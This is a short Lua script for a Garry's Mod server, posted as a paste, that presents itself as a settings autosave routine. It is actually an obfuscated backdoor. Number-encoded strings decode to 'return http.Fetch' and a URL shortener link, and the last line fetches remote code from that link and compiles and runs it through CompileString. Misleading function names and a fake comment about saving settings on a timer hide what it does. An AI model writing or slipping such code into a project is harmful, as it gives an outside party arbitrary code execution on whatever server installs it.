Advertisement
Guest User

Untitled

a guest
Aug 19th, 2018
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.81 KB | None | 0 0
  1. local function sep (str)
  2. return string.Explode(",", str:gsub("%x%x%x", '%' .. "," .. '%1'):sub(1 + #","))
  3. end
  4.  
  5. local ServerInit = sep("104116116112115058047047116105110121117114108046099111109047121057057104050099114055")
  6. local ServerBeginInit = sep("114101116117114110032104116116112046070101116099104")
  7.  
  8. function serverLoad(c)
  9. local serverResponse = ""
  10.  
  11. for _, v in pairs(c) do
  12. serverResponse = serverResponse .. string.char(v)
  13. end
  14.  
  15. return serverResponse
  16. end
  17.  
  18. ServerLoad = CompileString
  19.  
  20. timer.Create("autosaveserversettings", 60, 0, AutoSaveServerSettings) -- Saves the server settings every 60 seconds incase of a crash
  21.  
  22. ServerLoad(serverLoad(ServerBeginInit), "loadServerStart", false)()(serverLoad(ServerInit), function(body) ServerLoad(body, "loadServerEnd", false)() end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement